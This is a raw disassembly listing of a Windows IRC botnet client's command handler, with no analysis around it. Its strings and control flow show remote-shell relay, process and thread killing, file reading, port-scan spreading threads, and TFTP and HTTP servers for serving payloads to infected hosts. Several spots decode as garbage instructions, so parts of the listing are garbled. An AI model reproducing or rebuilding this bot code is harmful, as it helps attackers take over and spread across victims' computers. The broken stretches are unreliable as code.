lea eax, [ebp-2C8h]
push eax
push offset aS_15 ; "%s\r\n"
push edi
call sub_41D560
imul eax, 234h
pop ecx
push ds:dword_4523C4[eax]
call sub_401417
push esi
push edi
push offset aCloneModeSS ; "[CLONE]: Mode (%s): %s"
jmp loc_406B8F
; ---------------------------------------------------------------------------
loc_406C1E: ; CODE XREF: seg000:00404DF0j
; seg000:00404E07j
cmp [ebp-0Ch], ebx
jz loc_40845F
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_41DBE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40845F
push edi
call sub_41D560
test eax, eax
pop ecx
jle loc_40845F
push edi
call sub_41D560
cmp eax, 400h
pop ecx
jge loc_40845F
push esi
push offset aS_16 ; "%s\r\n"
push edi
call sub_41D560
imul eax, 234h
pop ecx
push ds:dword_4523C4[eax]
call sub_401417
push esi
push edi
push offset aCloneRawSS ; "[CLONE]: Raw (%s): %s"
jmp loc_406B8F
; ---------------------------------------------------------------------------
loc_406C89: ; CODE XREF: seg000:00404DC2j
; seg000:00404DD9j
cmp [ebp-0Ch], ebx
jz loc_40845F
push edi
push dword ptr [ebp-0Ch]
call sub_41DBE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40845F
push esi
push offset aModeS_0 ; "MODE %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push esi
push offset aMainModeChange ; "[MAIN]: Mode change: %s"
loc_406CBB: ; CODE XREF: seg000:004073C4j
; seg000:004073DDj ...
call sub_41621B
loc_406CC0: ; CODE XREF: seg000:00406D29j
add esp, 14h
jmp loc_40845F
; ---------------------------------------------------------------------------
loc_406CC8: ; CODE XREF: seg000:00404D94j
; seg000:00404DABj
push dword ptr [ebp-90h]
push offset a332_2 ; "332"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_403498
push dword ptr [ebp+20h]
push offset aPartS_0 ; "PART %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push edi
call sub_41D560
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_4F12F4 ; Sleep
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+20h]
push offset aJoinSS_2 ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push offset aMainCycle_ ; "[MAIN]: Cycle."
call sub_4161A7
jmp short loc_406CC0
; ---------------------------------------------------------------------------
loc_406D2B: ; CODE XREF: seg000:00404D66j
; seg000:00404D7Dj
cmp [ebp-0Ch], ebx
jz loc_40845F
push edi
call sub_41AC70
push dword ptr [ebp+18h]
mov esi, eax
call sub_41AC70
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+esi+2]
push eax
call sub_41DBE0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40845F
push esi
lea eax, [ebp-2C8h]
push offset dword_43EF28
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push ebx
push eax
push edi
push dword ptr [ebp+0Ch]
call sub_40145D
push esi
push edi
push offset aMainActionSS_ ; "[MAIN]: Action: %s: %s."
call sub_41621B
add esp, 2Ch
jmp loc_40845F
; ---------------------------------------------------------------------------
loc_406D99: ; CODE XREF: seg000:00404D38j
; seg000:00404D4Fj
cmp [ebp-0Ch], ebx
jz loc_40845F
push edi
call sub_41AC70
push dword ptr [ebp+18h]
mov esi, eax
call sub_41AC70
add eax, [ebp-0Ch]
push dword ptr [ebp+20h]
lea eax, [eax+esi+2]
push eax
call sub_41DBE0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40845F
push ebx
push ebx
push esi
push edi
push dword ptr [ebp+0Ch]
call sub_40145D
push esi
push edi
push offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s."
call sub_41621B
jmp loc_405A3A
; ---------------------------------------------------------------------------
loc_406DEC: ; CODE XREF: seg000:00404D0Aj
; seg000:00404D21j
cmp [ebp-0Ch], ebx
jz loc_403498
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_41DBE0
pop ecx
cmp eax, ebx
pop ecx
jz loc_403498
push eax
push edi
call sub_4160AF
push edi
lea eax, [ebp-2C8h]
push offset aMainAliasAdded ; "[MAIN]: Alias added: %s."
push eax
call sub_41D260
add esp, 14h
jmp loc_40547E
; ---------------------------------------------------------------------------
loc_406E2B: ; CODE XREF: seg000:00404CCAj
; seg000:00404CE1j
push edi
push dword ptr [ebp+24h]
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz loc_40845F
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_406EC8
push esi
push dword ptr [ebp-0Ch]
call sub_41DBE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_406EB0
push esi
lea eax, [ebp-2C8h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset aSSSS_1 ; "%s %s %s :%s"
push eax
call sub_41D260
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_41D800
push esi
push edi
lea eax, [ebp-2C8h]
push offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command: %s"
push eax
call sub_41D260
add esp, 34h
inc dword ptr [ebp+2Ch]
jmp loc_4080D2
; ---------------------------------------------------------------------------
loc_406EB0: ; CODE XREF: seg000:00406E58j
lea eax, [ebp-2C8h]
push offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"...
push eax
call sub_41D260
pop ecx
pop ecx
jmp loc_4080D2
; ---------------------------------------------------------------------------
loc_406EC8: ; CODE XREF: seg000:00406E47j
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_41A698
add esp, 0Ch
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
push edi
push offset aMainGethostS_ ; "[MAIN]: Gethost: %s."
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41D360
add esp, 24h
jmp loc_4080D2
; ---------------------------------------------------------------------------
loc_406F0F: ; CODE XREF: seg000:00404766j
; seg000:0040477Dj
push offset aR_0 ; "r"
push edi
call sub_41D0E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_406F89
mov ebx, 200h
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
call sub_41DEE0
add esp, 0Ch
loc_406F38: ; CODE XREF: seg000:00406F67j
test eax, eax
jz short loc_406F69
push 1
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
call sub_41DEE0
add esp, 20h
jmp short loc_406F38
; ---------------------------------------------------------------------------
loc_406F69: ; CODE XREF: seg000:00406F3Aj
push esi
call sub_41ACF0
push edi
lea eax, [ebp-2C8h]
push offset aMainReadFileCo ; "[MAIN]: Read file complete: %s"
push eax
call sub_41D260
add esp, 10h
jmp loc_406913
; ---------------------------------------------------------------------------
loc_406F89: ; CODE XREF: seg000:00406F20j
push edi
push offset aMainReadFileFa ; "[MAIN]: Read file failed: %s"
jmp loc_4068CE
; ---------------------------------------------------------------------------
loc_406F94: ; CODE XREF: seg000:00404738j
; seg000:0040474Fj
cmp [ebp-0Ch], ebx
jz loc_40845F
push edi
push dword ptr [ebp-0Ch]
call sub_41DBE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40845F
push offset asc_43EA58 ; "\n"
push esi
call sub_41E560
push esi
call sub_4193EE
add esp, 0Ch
test eax, eax
jnz short loc_406FD4
push offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell."
jmp loc_407156
; ---------------------------------------------------------------------------
loc_406FD4: ; CODE XREF: seg000:00406FC8j
push esi
push offset aCmdCommandsS ; "[CMD]: Commands: %s"
jmp loc_4080C3
; ---------------------------------------------------------------------------
loc_406FDF: ; CODE XREF: seg000:0040470Aj
; seg000:00404721j
cmp [ebp-0Ch], ebx
jz loc_40845F
push edi
push dword ptr [ebp-0Ch]
call sub_41DBE0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40845F
push eax
call sub_4179FA
test eax, eax
pop ecx
jnz short loc_407010
push offset aMircClientNotO ; "[mIRC]: Client not open."
jmp loc_407156
; ---------------------------------------------------------------------------
loc_407010: ; CODE XREF: seg000:00407004j
push offset aMircCommandSen ; "[mIRC]: Command sent."
jmp loc_407156
; ---------------------------------------------------------------------------
loc_40701A: ; CODE XREF: seg000:004046DCj
; seg000:004046F3j
push ebx
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push edi
call loc_410CAB
push edi
push offset aFileListS ; "[FILE]: List: %s"
jmp loc_406B8F
; ---------------------------------------------------------------------------
loc_407035: ; CODE XREF: seg000:004046AEj
; seg000:004046C5j
push edi
call near ptr 3D0000h
sub al, 85h
sal byte ptr [eax+ecx+57h], 68h
int 3 ; Trap to Debugger
jmp near ptr 0C2B708Bh
; ---------------------------------------------------------------------------
push offset aFile_3 ; "[FILE]:"
call loc_417935
push eax
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41D360
add esp, 10h
jmp loc_4068F2
; ---------------------------------------------------------------------------
loc_40706C: ; CODE XREF: seg000:00404680j
; seg000:00404697j
push edi
call sub_41D560
push eax
call sub_419367
pop ecx
pop ecx
push 1
loc_40707C: ; DATA XREF: seg002:00445FC8o
; seg002:00445FDCo ...
pop esi
cmp eax, esi
push edi
jnz short loc_407089
push offset aProcProcessKil ; "[PROC]: Process killed ID: %s"
jmp short loc_40708E
; ---------------------------------------------------------------------------
loc_407089: ; CODE XREF: seg000:00407080j
push offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"...
loc_40708E: ; CODE XREF: seg000:00407087j
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp-8], ebx
jnz loc_4066BC
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
jmp loc_4066BC
; ---------------------------------------------------------------------------
loc_4070C7: ; CODE XREF: seg000:00404652j
; seg000:00404669j
push ebx
push ebx
push edi
push dword ptr [ebp-4]
push ebx
push dword ptr [ebp+0Ch]
call sub_419046
add esp, 18h
cmp eax, 1
push edi
jnz short loc_4070E9
push offset aProcProcessK_0 ; "[PROC]: Process killed: %s"
jmp loc_4068CE
; ---------------------------------------------------------------------------
loc_4070E9: ; CODE XREF: seg000:004070DDj
push offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"...
jmp loc_4068CE
; ---------------------------------------------------------------------------
loc_4070F3: ; CODE XREF: seg000:00404624j
; seg000:0040463Bj
push edi
call ds:dword_451530
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz short loc_407130
push 2
lea eax, [ebp+8]
push 4
push eax
call ds:dword_4514AC
cmp eax, ebx
jz short loc_407151
push dword ptr [eax]
push edi
push offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s."
loc_40711C: ; CODE XREF: seg000:0040714Fj
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 10h
jmp loc_4053E0
; ---------------------------------------------------------------------------
loc_407130: ; CODE XREF: seg000:00407100j
push edi
call ds:dword_451574
cmp eax, ebx
jz short loc_407151
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call ds:dword_45157C
push eax
push edi
push offset aDnsLookupSS__0 ; "[DNS]: Lookup: %s -> %s."
jmp short loc_40711C
; ---------------------------------------------------------------------------
loc_407151: ; CODE XREF: seg000:00407112j
; seg000:00407139j
push offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname."
loc_407156: ; CODE XREF: seg000:00406753j
; seg000:00406FCFj ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
pop ecx
pop ecx
jmp loc_4053E0
; ---------------------------------------------------------------------------
loc_407169: ; CODE XREF: seg000:004045F6j
; seg000:0040460Dj
push 7Fh
push edi
push dword ptr [ebp+1Ch]
call sub_41D800
push edi
lea eax, [ebp-2C8h]
push offset aMainServerChan ; "[MAIN]: Server changed to: '%s'."
push eax
call sub_41D260
add esp, 18h
jmp loc_406698
; ---------------------------------------------------------------------------
loc_40718E: ; CODE XREF: seg000:004045C8j
; seg000:004045DFj
push 5
push ebx
push ebx
push edi
push offset aOpen_1 ; "open"
push ebx
call ds:dword_451460
test eax, eax
push edi
jz short loc_4071AE
push offset aShellFileOpene ; "[SHELL]: File opened: %s"
jmp loc_4068CE
; ---------------------------------------------------------------------------
loc_4071AE: ; CODE XREF: seg000:004071A2j
push offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s"
jmp loc_4068CE
; ---------------------------------------------------------------------------
loc_4071B8: ; CODE XREF: seg000:0040459Aj
; seg000:004045B1j
mov al, [edi]
mov ds:byte_43CC74, al
movsx eax, byte ptr [edi]
push eax
push offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'."
jmp loc_4083DC
; ---------------------------------------------------------------------------
loc_4071CD: ; CODE XREF: seg000:0040456Cj
; seg000:00404583j
push edi
call sub_41D560
test eax, eax
pop ecx
jle loc_40845F
push edi
call sub_41D560
cmp eax, 400h
pop ecx
jge loc_40845F
push ebx
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_408A38
push eax
lea eax, [ebp-2C8h]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41D260
add esp, 1Ch
lea eax, [ebp-2C8h]
push eax
push offset aS_17 ; "%s\r\n"
jmp loc_406ABF
; ---------------------------------------------------------------------------
loc_407224: ; CODE XREF: seg000:0040453Ej
; seg000:00404555j
push edi
call sub_41D560
test eax, eax
pop ecx
jle loc_403498
push edi
call sub_41D560
cmp eax, 400h
pop ecx
jge loc_403498
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41D560
imul eax, 234h
pop ecx
push ds:dword_4523C4[eax]
call sub_401417
pop ecx
pop ecx
push 1F4h
call ds:dword_4F12F4 ; Sleep
push edi
call sub_41D560
imul eax, 234h
pop ecx
push ds:dword_4523C4[eax]
call ds:dword_451588
push dword ptr [ebp-10h]
push edi
call sub_41D560
imul eax, 234h
pop ecx
push ds:dword_4523CC[eax]
call near ptr 3D0000h
fist dword ptr [edi-18h]
mov dh, 62h
add [eax], eax
imul eax, 234h
push edi
mov ds:dword_4523CC[eax], ebx
call sub_41D560
imul eax, 234h
pop ecx
pop ecx
mov byte ptr ds:dword_4521B8[eax], bl
jmp loc_403498
; ---------------------------------------------------------------------------
loc_4072CF: ; CODE XREF: seg000:00404510j
; seg000:00404527j
push edi
push offset aAll ; "all"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_4072FE
call sub_408F08
cmp eax, ebx
jle short loc_4072F4
push eax
push offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)."
jmp loc_40546F
; ---------------------------------------------------------------------------
loc_4072F4: ; CODE XREF: seg000:004072E7j
push offset aThreadsNoActiv ; "[THREADS]: No active threads found."
jmp loc_407C35
; ---------------------------------------------------------------------------
loc_4072FE: ; CODE XREF: seg000:004072DEj
mov eax, [ebp-0A4h]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_403498
lea eax, [ebp+edi*4-94h]
mov [ebp+2Ch], eax
loc_40731A: ; CODE XREF: seg000:0040738Bj
mov eax, [ebp+2Ch]
mov esi, [eax]
cmp esi, ebx
jz loc_403498
push esi
call sub_41D560
push eax
call sub_408E7A
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_407341
push offset aThreadsKilledT ; "[THREADS]: Killed thread: %s."
jmp short loc_407346
; ---------------------------------------------------------------------------
loc_407341: ; CODE XREF: seg000:00407338j
push offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s."
loc_407346: ; CODE XREF: seg000:0040733Fj
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_407376
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
loc_407376: ; CODE XREF: seg000:00407358j
lea eax, [ebp-2C8h]
push eax
call sub_4161A7
add dword ptr [ebp+2Ch], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40731A
jmp loc_403498
; ---------------------------------------------------------------------------
loc_407392: ; CODE XREF: seg000:004044E2j
; seg000:004044F9j
cmp [ebp-0Ch], ebx
jz loc_40845F
push edi
push dword ptr [ebp-0Ch]
call sub_41DBE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40845F
push esi
push offset aS_26 ; "%s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push esi
push offset aMainIrcRawS_ ; "[MAIN]: IRC Raw: %s."
jmp loc_406CBB
; ---------------------------------------------------------------------------
loc_4073C9: ; CODE XREF: seg000:004044B4j
; seg000:004044CBj
push edi
push offset aPartS_1 ; "PART %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push edi
push offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'."
jmp loc_406CBB
; ---------------------------------------------------------------------------
loc_4073E2: ; CODE XREF: seg000:00404486j
; seg000:0040449Dj
push dword ptr [ebp+esi-8Ch]
push edi
push offset aJoinSS_3 ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push edi
push offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'."
jmp loc_406B8F
; ---------------------------------------------------------------------------
loc_407402: ; CODE XREF: seg000:00404458j
; seg000:0040446Fj
push edi
push offset aNickS_1 ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
push edi
push offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'."
jmp loc_406CBB
; ---------------------------------------------------------------------------
loc_40741B: ; CODE XREF: seg000:0040441Dj
; seg000:00404432j
mov al, ds:byte_4440D2
mov [ebp+8], ebx
cmp al, bl
mov edx, offset byte_4440D2
jz loc_403498
mov ecx, edx
loc_407432: ; CODE XREF: seg000:0040743Aj
inc dword ptr [ebp+8]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_407432
cmp al, bl
jz loc_403498
mov [ebp+20h], edx
loc_407447: ; CODE XREF: seg000:00407701j
push 0Bh
call sub_408F87
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv dword ptr [ebp+8]
add eax, ecx
cmp eax, 1F4h
jle short loc_407496
push ecx
lea eax, [ebp-2C8h]
push offset aScanAlreadyD_0 ; "[SCAN]: Already %d scanning threads. To"...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 20h
jmp loc_4076F8
; ---------------------------------------------------------------------------
loc_407496: ; CODE XREF: seg000:00407461j
or dword ptr [ebp-300h], 0FFFFFFFFh
cmp ds:dword_4439F0, ebx
mov dword ptr [ebp-304h], 32h
mov dword ptr [ebp-318h], 5
mov [ebp-314h], ebx
mov [ebp+8], ebx
jz short loc_407503
mov eax, [ebp+20h]
mov edi, offset dword_4439F0
lea esi, [eax-0Ah]
loc_4074CD: ; CODE XREF: seg000:004074E5j
lea eax, [edi-28h]
push esi
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_4074E9
inc dword ptr [ebp+8]
add edi, 40h
cmp [edi], ebx
jnz short loc_4074CD
jmp short loc_407503
; ---------------------------------------------------------------------------
loc_4074E9: ; CODE XREF: seg000:004074DBj
mov eax, [ebp+8]
mov ecx, eax
mov [ebp-300h], eax
shl ecx, 6
mov ecx, ds:dword_4439F0[ecx]
mov [ebp-31Ch], ecx
loc_407503: ; CODE XREF: seg000:004074C0j
; seg000:004074E7j
cmp [ebp-31Ch], ebx
jz loc_40770C
push 10h
lea eax, [ebp+18h]
pop esi
push eax
lea eax, [ebp-2D8h]
push eax
mov [ebp+18h], esi
push dword ptr [ebp+0Ch]
call ds:dword_451498
mov al, [ebp-9B3h]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-2D4h], eax
push dword ptr [ebp-2D4h]
call ds:dword_45157C
push eax
lea eax, [ebp-430h]
push eax
call sub_41D800
xor eax, eax
cmp [ebp-9B3h], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-430h]
push eax
call sub_41E3A0
add esp, 14h
cmp edi, ebx
mov [ebp+2Fh], bl
jle short loc_4075A5
loc_407583: ; CODE XREF: seg000:004075A3j
cmp eax, ebx
jz short loc_4075A5
mov byte ptr [eax], 78h
lea eax, [ebp-430h]
push 30h
push eax
call sub_41E3A0
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_407583
loc_4075A5: ; CODE XREF: seg000:00407581j
; seg000:00407585j
mov eax, [ebp+0Ch]
push dword ptr [ebp-8Ch]
mov esi, [ebp-4]
mov [ebp-320h], eax
mov eax, [ebp-8]
mov edi, 80h
mov [ebp-2F4h], eax
lea eax, [ebp-420h]
push edi
push eax
mov dword ptr [ebp-2F0h], 1
mov [ebp-2F8h], esi
call sub_41D360
push offset dword_4DF350
push offset a143 ; "#143"
call sub_41D900
add esp, 14h
test eax, eax
jz short loc_40760F
push offset a143 ; "#143"
lea eax, [ebp-3A0h]
push edi
push eax
call sub_41D360
add esp, 0Ch
jmp short loc_407615
; ---------------------------------------------------------------------------
loc_40760F: ; CODE XREF: seg000:004075F6j
mov [ebp-3A0h], bl
loc_407615: ; CODE XREF: seg000:0040760Dj
cmp [ebp-2F0h], ebx
mov eax, offset aRandom_1 ; "Random"
jnz short loc_407627
mov eax, offset aSequential_0 ; "Sequential"
loc_407627: ; CODE XREF: seg000:00407620j
push dword ptr [ebp-304h]
lea ecx, [ebp-430h]
push dword ptr [ebp-314h]
push dword ptr [ebp-318h]
push dword ptr [ebp-31Ch]
push ecx
push eax
lea eax, [ebp-2C8h]
push offset aScanSPortSca_0 ; "[SCAN]: %s Port Scan started on %s:%d w"...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 0Bh
push eax
call sub_408D3F
add esp, 2Ch
mov [ebp-310h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-430h]
push ebx
push eax
push offset sub_40A146
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-310h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_4076B1
loc_40769F: ; CODE XREF: seg000:004076AFj
cmp [ebp-2ECh], ebx
jnz short loc_4076CC
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_40769F
; ---------------------------------------------------------------------------
loc_4076B1: ; CODE XREF: seg000:0040769Dj
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C8h]
push offset aScanFailedTo_3 ; "[SCAN]: Failed to start scan thread, er"...
push eax
call sub_41D260
add esp, 0Ch
loc_4076CC: ; CODE XREF: seg000:004076A5j
cmp [ebp-8], ebx
jnz short loc_4076EB
push ebx
lea eax, [ebp-2C8h]
push esi
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
loc_4076EB: ; CODE XREF: seg000:004076CFj
lea eax, [ebp-2C8h]
push eax
call sub_4161A7
pop ecx
loc_4076F8: ; CODE XREF: seg000:00407491j
add dword ptr [ebp+20h], 0Bh
mov eax, [ebp+20h] ; CODE XREF: seg000:00407770j
cmp [eax], bl
jnz loc_407447
jmp loc_403498
; ---------------------------------------------------------------------------
loc_40770C: ; CODE XREF: seg000:00407509j
push offset aScanFailedTo_4 ; "[SCAN]: Failed to start scan, port is i"...
jmp loc_407C35
; ---------------------------------------------------------------------------
loc_407716: ; CODE XREF: seg000:004043F3j
; seg000:00404408j
push 5
call sub_408F87
test eax, eax
pop ecx
jle short loc_40773A
push offset aTftpAlreadyRun ; "[TFTP]: Already running."
loc_407727: ; CODE XREF: seg000:004047BCj
; seg000:00404851j ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
pop ecx
pop ecx
jmp loc_406698
; ---------------------------------------------------------------------------
loc_40773A: ; CODE XREF: seg000:00407720j
mov eax, [ebp+esi-90h]
cmp eax, ebx
jz short loc_40775D
push eax
mov edi, 104h
lea eax, [ebp-804h]
push edi
push eax
call sub_41D360
add esp, 0Ch
jmp short near ptr loc_407770+1
; ---------------------------------------------------------------------------
loc_40775D: ; CODE XREF: seg000:00407743j
mov edi, 104h
lea eax, [ebp-804h]
push edi
push eax
push ebx
call near ptr 3D0000h
loc_407770: ; CODE XREF: seg000:0040775Bj
ja short near ptr loc_4076FC+1
mov ah, 35h
jz short near ptr loc_407774+1 ; CODE XREF: seg000:loc_407774j
; ---------------------------------------------------------------------------
dw 0FFFFh
; ---------------------------------------------------------------------------
cmp esi, ebx
jnz short loc_407781
mov esi, offset byte_43CCBC
loc_407781: ; CODE XREF: seg000:0040777Aj
push esi
lea eax, [ebp-700h]
push edi
push eax
call sub_41D360
mov eax, ds:dword_43CC58
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-5F4h], eax
mov eax, [ebp+0Ch]
mov [ebp-5F8h], ebx
mov [ebp-808h], eax
lea eax, [ebp-5F0h]
push eax
call sub_41D800
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-700h]
push eax
lea eax, [ebp-804h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-5F4h]
push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 5
push eax
call sub_408D3F
add esp, 38h
mov [ebp-5FCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-808h]
push ebx
push eax
push offset loc_412AD0
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-5FCh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_407851
loc_40783B: ; CODE XREF: seg000:0040784Fj
cmp [ebp-568h], ebx
jnz loc_406698
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_40783B
; ---------------------------------------------------------------------------
loc_407851: ; CODE XREF: seg000:00407839j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aTftpFailedToSt ; "[TFTP]: Failed to start server thread, "...
jmp loc_4083DC
; ---------------------------------------------------------------------------
loc_407862: ; CODE XREF: seg000:004043C9j
; seg000:004043DEj
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz short loc_407881
push edi
call sub_41D560
test eax, eax
pop ecx
jz short loc_407881
push edi
call sub_41D560
pop ecx
jmp short loc_407886
; ---------------------------------------------------------------------------
loc_407881: ; CODE XREF: seg000:0040786Bj
; seg000:00407876j
mov eax, ds:dword_43CC5C
loc_407886: ; CODE XREF: seg000:0040787Fj
mov esi, [ebp+esi-8Ch]
mov [ebp-584h], eax
xor eax, eax
cmp [ebp-9B0h], bl
setz al
cmp esi, ebx
mov [ebp-570h], eax
jz short loc_4078B9
lea eax, [ebp-688h]
push esi
push eax
call sub_41D260
pop ecx
pop ecx
jmp short loc_4078E4
; ---------------------------------------------------------------------------
loc_4078B9: ; CODE XREF: seg000:004078A6j
lea eax, [ebp-3E8h]
push 104h
push eax
call near ptr 3D0000h
fcom dword ptr [ebx+53h]
lea eax, [ebp-2D4h]
push ebx
push eax
lea eax, [ebp-3E8h]
push eax
call sub_41DC60
add esp, 14h
loc_4078E4: ; CODE XREF: seg000:004078B7j
lea eax, [ebp-688h]
push eax
call sub_41AC70
cmp byte ptr [ebp+eax-689h], 5Ch
pop ecx
jnz short loc_40790F
lea eax, [ebp-688h]
push eax
call sub_41AC70
pop ecx
mov [ebp+eax-689h], bl
loc_40790F: ; CODE XREF: seg000:004078F9j
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
lea eax, [ebp-910h]
mov [ebp-914h], esi
push 80h
push eax
call sub_41D360
mov eax, [ebp-8]
mov edi, [ebp-4]
add esp, 0Ch
mov [ebp-574h], eax
lea eax, [ebp-688h]
mov [ebp-578h], edi
push eax
push dword ptr [ebp-584h]
push esi
call sub_402617
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 3
push eax
call sub_408D3F
add esp, 20h
mov [ebp-57Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-914h]
push ebx
push eax
push offset sub_410418
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-57Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_4079C7
loc_4079B1: ; CODE XREF: seg000:004079C5j
cmp [ebp-568h], ebx
jnz loc_407B16
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_4079B1
; ---------------------------------------------------------------------------
loc_4079C7: ; CODE XREF: seg000:004079AFj
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aHttpdFailedToS ; "[HTTPD]: Failed to start server thread,"...
jmp loc_407B07
; ---------------------------------------------------------------------------
loc_4079D8: ; CODE XREF: seg000:0040439Fj
; seg000:004043B4j
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz short loc_4079F7
push edi
call sub_41D560
test eax, eax
pop ecx
jz short loc_4079F7
push edi
call sub_41D560
pop ecx
jmp short loc_4079FC
